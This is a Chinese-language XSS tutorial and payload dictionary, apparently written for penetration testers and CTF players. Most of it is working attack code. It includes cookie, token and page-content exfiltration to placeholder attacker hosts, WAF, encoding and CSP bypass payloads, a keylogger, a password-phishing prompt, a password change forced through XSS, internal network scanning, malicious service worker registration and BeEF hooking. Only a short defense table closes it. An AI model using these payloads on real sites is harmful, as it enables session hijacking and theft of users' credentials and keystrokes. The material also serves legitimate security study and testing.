前言 XSS(Cross-Site Scripting,跨站脚本攻击)是 Web 安全中最经典、最普遍的漏洞之一。攻击者将恶意脚本注入目标页面,在受害者浏览器中执行,从而窃取 Cookie、劫持会话、篡改页面内容、发起 CSRF 请求,甚至配合其他漏洞实现完整的账户接管。
XSS 的三种类型:
类型
触发方式
持久性
典型场景
反射型 (Reflected)
用户点击恶意链接,参数立即执行
一次性
搜索框、错误提示中 echo 用户输入
存储型 (Stored)
恶意代码存入数据库,所有访问者触发
持久
留言板、评论、用户资料
DOM 型 (DOM-based)
JS 取 URL 参数写入 innerHTML,不经过服务端
取决于来源
location.hash、document.write
本文从基础 Payload 开始,按 HTML 标签分类整理了十余种 XSS 触发方式,然后逐层深入 WAF 绕过、编码技巧、CSP 绕过、DOM Clobbering、Service Worker 劫持等进阶手法,最后给出自动化工具和防御方案。
一、基础 Payload 字典(按 HTML 标签分类) 1.1 <script> 标签 最经典的 XSS 载体,直接注入脚本:
1 2 3 4 5 6 7 8 9 10 11 <script > window .open ('http://ATTACKER.ceye.io/' + document .cookie )</script > <script > var img = document .createElement ("img" );img.src = 'http://ATTACKER.ceye.io/?c=' + document .cookie ; </script > <script > location.href ="http://ATTACKER.ceye.io/?c=" + document .cookie </script >
1.2 <body> 标签 1 <body onload ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" >
onload 在页面加载完成后自动触发,不需要用户交互。
1.3 <svg> 标签 1 2 <svg onload ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" > <svg onload ="location.href='http://ATTACKER/get.php?c='+document.cookie" >
<svg> 是自闭合标签,不需要 </svg>,且 onload 在 SVG 渲染时自动触发。常见 WAF 可能只过滤 script 而放行 svg。
1.4 <img> 标签 1 2 <img src =x onerror ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" > <img src =x onerror ="location.href='http://ATTACKER/?c='+document.cookie" >
原理:src=x 是一个不存在的图片路径,加载失败触发 onerror 事件,执行攻击代码。这是最常用的绕过方式之一。
1.5 <input> 标签 1 <input onfocus ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" autofocus >
autofocus 让元素在页面加载时自动获得焦点,触发 onfocus 事件。
1.6 <iframe> 标签 1 <iframe onload ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" > </iframe >
iframe 也可用于嵌入攻击页面或 data: 协议的 payload。
1.7 <a> 标签 1 2 <a href ="javascript:alert(1)" > click me</a > <a href ="data:text/html,<script>alert(1)</script>" > click</a >
需要用户点击,但在钓鱼场景中极为有效。
1.8 <video> / <audio> 标签 1 2 3 <video src =x onerror ="alert(1)" > <audio src =x onerror ="alert(1)" > <video > <source onerror =alert(1) >
1.9 <details> / <summary> 标签 1 <details open ontoggle ="alert(1)" >
ontoggle 在 <details> 展开/收起时触发,open 属性使其默认展开,页面加载时立即触发。
1.10 <marquee> / <select> / 其他事件标签 1 2 3 4 5 6 <marquee onstart ="alert(1)" > <marquee onfinish ="alert(1)" > <select onfocus ="alert(1)" autofocus > <textarea onfocus ="alert(1)" autofocus > <keygen onfocus ="alert(1)" autofocus > <body onpageshow ="alert(1)" >
1.11 <embed> 标签 1 2 <embed src ="javascript:alert(document.cookie)" > <embed src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==" >
embed 用于嵌入外部内容。javascript: 是伪协议,和 data: 类似,可直接执行 JavaScript。
二、窃取页面特定内容 2.1 获取指定元素的 HTML 当攻击目标不是 Cookie,而是页面上的特定内容(如后台列表中的 flag),可以用 DOM 方法获取:
1 2 3 4 5 6 7 8 <script > location.href ="http://ATTACKER.ceye.io/" +document .getElementsByClassName ('layui-table-cell laytable-cell-1-0-1' )[1 ].innerHTML </script > <script > location.href ="http://ATTACKER.ceye.io/" +document .getElementsByClassName ('layui-table-cell laytable-cell' )[3 ].innerHTML </script > <script > location.href ="http://ATTACKER.ceye.io/" +document .getElementsByClassName ('layui-table-cell laytable-cell-1-0-1' )[1 ].outerHTML </script >
**innerHTML**:获取元素内部的 HTML 内容(不含自身标签)
**outerHTML**:获取元素的完整 HTML(含自身标签)
**[N]**:getElementsByClassName 返回的是 HTMLCollection(类数组),[1] 取第 2 个匹配元素(索引从 0 开始)
2.2 循环遍历查找特定内容(jQuery) 1 2 3 4 5 6 7 8 9 10 11 <script> $('.laytable-cell-1-0-1' ).each (function (index, value ) { if (value.innerHTML .indexOf ('ctf' + 'show' + '{' ) > -1 ) { window .location .href = 'http://ATTACKER.ceye.io/?c=' + value.innerHTML ; } }); </script>
代码解读:
$('.laytable-cell-1-0-1'):jQuery 选择器,选中所有匹配该 class 的元素
.each(function(index, value) {...}):遍历每个匹配元素,index 是序号,value 是当前 DOM 元素
value.innerHTML.indexOf('ctfshow{') > -1:检查元素的 HTML 内容中是否包含 “ctfshow{“(indexOf 返回首次出现的索引,不存在时返回 -1)
找到后通过 window.location.href 将内容外带到攻击者服务器
2.3 提取 document.cookie 以外的数据 1 2 3 4 5 6 7 8 9 10 11 <script > location.href ="http://ATTACKER/?d=" +localStorage .getItem ('token' ) </script > <script > location.href ="http://ATTACKER/?d=" +sessionStorage .getItem ('secret' ) </script > <script > location.href ="http://ATTACKER/?d=" +document .documentElement .outerHTML </script > <script > location.href ="http://ATTACKER/?csrf=" +document .querySelector ('meta[name=csrf-token]' ).content </script >
三、WAF 绕过技巧 3.1 绕过空格过滤 1 2 3 4 5 6 7 8 9 10 11 12 <svg/**/onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)"> <svg/onload="window.open('http://ATTACKER.ceye.io/'+document.cookie)"> <svg%09onload="alert(1)"> <svg%0aonload="alert(1)"> <svg%0conload="alert(1)"> <svg%0donload="alert(1)"> <svg%20onload="alert(1)">
3.2 绕过 <> 过滤 (1)利用浏览器自动补全机制 :
1 2 <body onload ="window.open('http://ATTACKER.ceye.io/'+document.cookie)" <!-- 少写了 > ,浏览器解析时自动补充 -->
(2)利用 <!-- 注释:
1 2 <script>alert(1)</script>
3.3 绕过 htmlspecialchars htmlspecialchars() 将 <、>、'、"、& 转为 HTML 实体。但它不处理反引号 和事件中的字符实体解析 :
strip_tags() 会去掉所有 HTML 标签(去掉 <> 包围的内容),但并非所有场景都适用——如果用户输入只部分经过 strip_tags 或输出在属性值中,仍然可能被利用。
3.5 绕过 alert 等关键字过滤 (1)可替换函数:
1 2 3 4 <script > prompt (/xss/ )</script > <script > confirm (/xss/ )</script > <script > console .log (1 )</script > <script > document .write (1 )</script >
(2)base64 编码 + 反引号绕过括号:
1 2 3 4 5 6 7 8 9 10 11 <img src =x onerror ="Function`a${atob`YWxlcnQoMSk=`}`" > <img src =x onerror ="``.constructor.constructor`a${atob`YWxlcnQoMSk=`}`" >
(3)HTML 实体编码(对 event 属性内部的 JS 有效):
1 2 <img src =# onerror =alert(document.cookie) >
(4)eval 拼接:
1 <img src ="x" onerror ="a='aler';b='t';c='(1)';eval(a+b+c)" >
(5)注释干扰 + 标签拆分:
1 <script>alert(1)</script>
3.6 绕过引号过滤 1 2 3 4 5 <img src =x onerror =alert( `xss `)> <img src =x onerror =alert(\xss\) >
3.7 绕过括号过滤 (1)反引号替代(标签模板字符串):
1 <script > alert`1` </script >
当函数以 func`template` 形式调用时,反引号中的内容会作为第一个参数传入。对于 alert,这会显示 “1”。
(2)throw 绕过(利用 window.onerror):
1 2 3 4 5 <video src onerror ="javascript:window.onerror=alert;throw 1" > <video src onerror ="javascript:window.onerror=window.open;throw 'http://ATTACKER.ceye.io/'+document.cookie" >
原理: window.onerror 是全局的错误处理函数。throw 1 抛出一个异常,浏览器调用 window.onerror(msg, ...),其中第一个参数 msg = "Uncaught 1"。但这里通过 onerror=alert 将 onerror 替换为 alert,throw 1 就变成了 alert(1)。
对于 Cookie 外带版本:throw 的参数是拼接出的 URL 字符串,传给 window.open → 发起请求。
3.8 绕过 eval 被禁用 eval 是最常见的动态执行函数,但即便它被禁用,JS 还有大量替代品:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <img src ="x" onerror ="[1].map(alert)" > <img src ="x" onerror ="[1].find(alert)" > <img src ="x" onerror ="[1].every(alert)" > <img src ="x" onerror ="[1].filter(alert)" > <img src ="x" onerror ="[1].forEach(alert)" > <img src ="x" onerror ="[1].findIndex(alert)" > <img src ="x" onerror ="setTimeout(alert(1))" > <img src ="x" onerror ="setInterval(alert(1))" > <img src ="x" onerror ="Set.constructor(alert(1))" > <img src ="x" onerror ="Map.constructor(alert(1))" > <img src ="x" onerror ="Array.constructor(alert(1))" > <img src ="x" onerror ="WeakSet.constructor(alert(1))" > <img src ="x" onerror ="constructor.constructor(alert(1))" >
注意:这些 payload 多数需要括号。如果括号也被过滤,需配合 3.7 的反引号技巧组合使用。
四、各类编码绕过汇总 4.1 HTML 实体编码 适用于在 HTML 属性值中出现的 JS 代码(如 href="..."、onerror="..."):
1 2 3 4 5 6 7 8 9 10 11 <a href ="javascript:alert(1)" > test</a > <a href ="j a v a s c r i p t : a l e r t ( 1 ) " > test</a > <a href ="j a v a s c r i p t : a l e r t ( 1 ) " > test</a > <a href ="javascript:alert(1)" > test</a >
关键特性: <a> 标签的 href 属性中的内容会被浏览器自动做 HTML 实体解码,然后再执行。
4.2 URL 编码 1 2 3 4 5 <a href ="javascript:alert(1)" > test</a > <a href ="javascript:%61%6c%65%72%74%28%31%29" > test</a >
4.3 Unicode 编码 适用于事件处理器中用引号包裹的 JS 字符串:
1 2 3 4 5 6 7 8 <img src =x onerror ="alert(1)" > <img src =x onerror ="alert(1)" > <input onfocus =location ="javascript:alert(1)" autofocus >
4.4 ASCII 八进制 / 十六进制 / Unicode 1 2 3 4 5 6 7 8 9 10 11 <svg onload =setTimeout( 'alert (1 )')> <svg onload =setTimeout( '\141 \154 \145 \162 \164 \050 \061 \051 ')> <svg onload =setTimeout( '\x61 \x6c \x65 \x72 \x74 \x28 \x31 \x29 ')> <svg onload =setTimeout( 'alert (1 )')>
4.5 String.fromCharCode(ASCII 码) 1 2 3 4 5 <a href ='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))' > test</a > <a href ='javascript:eval(String.fromCharCode(0x61, 0x6C, 0x65, 0x72, 0x74, 0x28, 0x31, 0x29))' > test</a >
fromCharCode(97, 108, 101, 114, 116, 40, 49, 41) → "alert(1)",再用 eval 执行。
4.6 Base64 编码(data: 协议) 1 2 3 4 5 6 7 8 9 10 <object data ="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=" > </object > <a href ="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=" > test</a > <iframe src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=" > </iframe > <embed src ="data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=" > </embed >
4.7 拼接绕过关键词检测 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <img src ="x" onerror ="eval('al'+'ert(1)')" > <img src ="x" onerror ="top['al'+'ert'](1)" > <img src ="x" onerror ="window['al'+'ert'](1)" > <img src ="x" onerror ="self[`al`+`ert`](1)" > <img src ="x" onerror ="parent[`al`+`ert`](1)" > <img src ="x" onerror ="frames[`al`+`ert`](1)" > <img src onerror =_ =alert,_(1) > <img src x =al y =ert onerror =top[x+y](1) > <img src onerror =top[a ='al' ,b ='ev' ,b +a ]('alert (1 )')> <img src onerror =[ 'ale '+'rt '].map (top ['ev '+'al '])[0 ]['valu '+'eOf ']()(1 )>
五、长度限制绕过 1 2 3 4 5 6 <script > a='document.write("' </script > <script > a+='<script > aler' </script > <script > a+='t(1)</scr' </script > <script > a+='ipt>")' </script > <script > eval (a)</script >
每次注入一小段,利用页面中存在的多个注入点逐步拼接出完整 payload。
替代方案:用 <script src="http://attacker/evil.js"> 直接引入外部脚本(不受长度限制)。
六、XSS 不止于窃取 Cookie 6.1 通过 XSS 修改用户密码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <script > location.href ="http://127.0.0.1/api/change.php?p=123456" </script > <script > var httpRequest = new XMLHttpRequest ();httpRequest.open ('POST' , 'http://127.0.0.1/api/change.php' , true ); httpRequest.setRequestHeader ("Content-Type" , "application/x-www-form-urlencoded" ); httpRequest.send ('p=123456' ); </script > <script > $.ajax ({ url : 'http://127.0.0.1/api/change.php' , type : 'POST' , data : { p : '12345678' } }); </script >
6.2 内网探测(XSS → SSRF) 1 2 3 4 5 6 7 8 <script > for (let i = 1 ; i < 256 ; i++) { let img = new Image (); img.src = 'http://192.168.1.' + i + ':80/favicon.ico' ; img.onload = function ( ) { console .log ('192.168.1.' + i + ' is alive' ); }; } </script >
6.3 键盘记录 1 2 3 4 5 6 <script > document .onkeypress = function (e ) { var img = new Image (); img.src = 'http://ATTACKER/?k=' + e.key ; }; </script >
6.4 钓鱼弹窗 1 2 3 4 <script > var pw = prompt ('Your session expired, please re-enter your password:' );new Image ().src = 'http://ATTACKER/?pw=' + encodeURIComponent (pw);</script >
七、不出网的 XSS(Blind XSS) 有些环境限制了外连(如 CSP connect-src 'self'),无法直接向攻击者服务器发请求。此时需要将数据”写回”到当前网站的用户可见区域。
1 2 3 4 5 6 7 <script > var xhr = new XMLHttpRequest ();xhr.open ("POST" , "http://127.0.0.1:8888/comment" , true ); xhr.setRequestHeader ("Content-Type" , "application/x-www-form-urlencoded" ); xhr.send ("comment=" + encodeURIComponent (document .cookie )); </script >
攻击者也登录同一网站,刷新评论页面即可看到管理员 Cookie。
其他写回方式:
修改自己的用户资料(bio/签名)
向自己发送站内私信
修改一个自己可控的页面/文章
八、CSP 绕过 CSP(Content Security Policy)是防御 XSS 的核心机制,但并非无懈可击。
8.1 CSP 基础 1 Content-Security-Policy : script-src 'self'; img-src *; style-src 'self'
指令
作用
script-src 'self'
只允许同源脚本
script-src 'unsafe-inline'
允许内联脚本和事件处理器(不安全 )
script-src 'unsafe-eval'
允许 eval 和 Function(不安全 )
script-src 'nonce-...'
只允许带指定 nonce 的脚本
connect-src 'self'
限制 fetch/XHR 目标
8.2 利用 unsafe-inline 如果 CSP 允许 unsafe-inline,所有内联事件处理器 payload 照单全收:
1 <img src =x onerror ="alert(1)" >
8.3 JSONP 劫持绕过 script-src 如果 script-src 允许某个返回 JSONP 的域名:
1 <script src ="https://trusted-cdn.com/api?callback=alert(1)" > </script >
JSONP 端点通常把 callback 参数值拼进 JS 上下文 → alert(1)({...}) → 执行了 alert(1)。
8.4 Angular/框架注入绕过 nonce 某些页面有合法的 <script nonce="..."> 加载 Angular,攻击者可以利用 Angular 的沙箱逃逸或模板注入在页面内执行代码。
8.5 <base> 标签劫持 1 2 <base href ="http://attacker/" > <script src ="jquery.js" > </script >
如果 script-src 过于宽松(如 script-src *),可以注入 <base> 标签,劫持相对路径脚本的加载目标。
九、进阶技术 9.1 DOM Clobbering 利用 HTML 元素的 id 或 name 属性覆盖 JS 中已有的全局变量:
1 2 3 4 5 6 7 8 9 10 <form id ="config" > <input name ="apiUrl" value ="http://attacker/evil" > </form > <script > if (config.apiUrl ) { fetch (config.apiUrl ); } </script >
当 JS 代码直接读取 config.apiUrl 而没有做 typeof 检查时,<form id="config"> 会覆盖全局的 config 对象。
9.2 Service Worker 劫持 如果目标域允许注册 Service Worker(需要 script-src 和 worker-src 指令宽松),XSS 可以注册恶意 SW:
1 2 3 <script > navigator.serviceWorker .register ('http://attacker/sw.js' , {scope : '/' }); </script >
恶意 SW 可以拦截该域名下所有请求,实现持久化后门。
9.3 postMessage XSS 1 2 3 4 5 6 <script > window .addEventListener ('message' , function (e ) { document .getElementById ('content' ).innerHTML = e.data ; }); </script >
攻击者通过 window.postMessage 向目标页面发送恶意 HTML,由于缺少 origin 校验,造成 DOM XSS。
9.4 MutationObserver(绕过动态 DOM 清理) 如果页面有 JS 定期清理 <script> 标签,可以用 MutationObserver 反制:
1 2 3 4 5 <script > new MutationObserver (function ( ) { }).observe (document .documentElement , {childList : true , subtree : true }); </script >
十、自动化工具 10.1 BeEF(Browser Exploitation Framework) 1 2 3 4 5 beef-xss <script src="http://ATTACKER:3000/hook.js" ></script>
BeEF 提供完整的浏览器控制面板,支持:
获取浏览器指纹、系统信息
窃取 Cookie 和 LocalStorage
内网探测
钓鱼弹窗
配合 Metasploit 实现浏览器漏洞利用
10.2 XSStrike 1 2 3 4 5 6 7 8 python3 xsstrike.py -u "http://target.com/?q=test" python3 xsstrike.py -u "http://target.com/search" --data "q=test" --cookie "session=xxx" python3 xsstrike.py -u "http://target.com" --crawl
XSStrike 特点:Fuzzing + WAF 检测 + 上下文分析 + 自动生成针对性 Payload。
10.3 dalfox 1 2 3 4 5 dalfox url http://target.com/?q=test dalfox file urls.txt
10.4 XSS Hunter / Burp Collaborator 1 2 <script src ="https://YOUR_SUBDOMAIN.xss.ht" > </script >
每次受害者触发 XSS,XSS Hunter 会记录完整的浏览器指纹、Cookie、截图、DOM 快照。
十一、快速决策树 1 2 3 4 5 6 7 8 9 10 11 12 13 拿到输入 → 页面回显? ├── 是 → 尝试 <script>、<img onerror>、<svg onload> │ → 被过滤?→ 换标签(body/iframe/marquee/video 等) │ → <> 被过滤?→ 利用浏览器自动补全 / 属性注入 │ → 关键字被过滤?→ 编码 / 拼接 / eval 替代 │ → 括号被过滤?→ 反引号 / throw onerror │ → 长度受限?→ 外部脚本 src / 分次拼接 │ ├── 不出网(CSP 限制)→ 写回网站(评论/私信/资料) │ └── DOM 型(URL/存储 → innerHTML) → 找 sink:document.write / innerHTML / eval / setTimeout → 再走上面 payload 流程
十二、防御措施
层面
措施
说明
输出编码
HTML 上下文中对 <>&'" 做 HTML 实体编码
最根本的防御,使用模板引擎的自动转义
输出编码
JS 上下文中做 \xHH 转义
输出在 <script> 标签内时用 hex 转义
输出编码
URL 上下文中做 %HH 编码
输出在 href 属性时确保协议白名单
CSP
script-src 'self' + nonce/hash
阻止内联脚本和执行
CSP
object-src 'none'
阻止 Flash/Java 等插件
CSP
base-uri 'self'
阻止 <base> 劫持
Cookie
HttpOnly
阻止 JS 读取 Cookie(对 document.cookie 无效但防御了多数窃取)
Cookie
SameSite=Strict
阻止跨站请求携带 Cookie
输入验证
白名单而非黑名单
拒绝不合法的输入而非试图过滤恶意字符
框架
使用安全模板引擎
React/Vue/Angular 默认转义,避免 dangerouslySetInnerHTML
安全模板引擎示例 1 2 3 4 5 6 7 8 9 10 11 element.innerHTML = userInput; element.textContent = userInput; <div > {userInput}</div > <div dangerouslySetInnerHTML ={{__html: userInput }} />
参考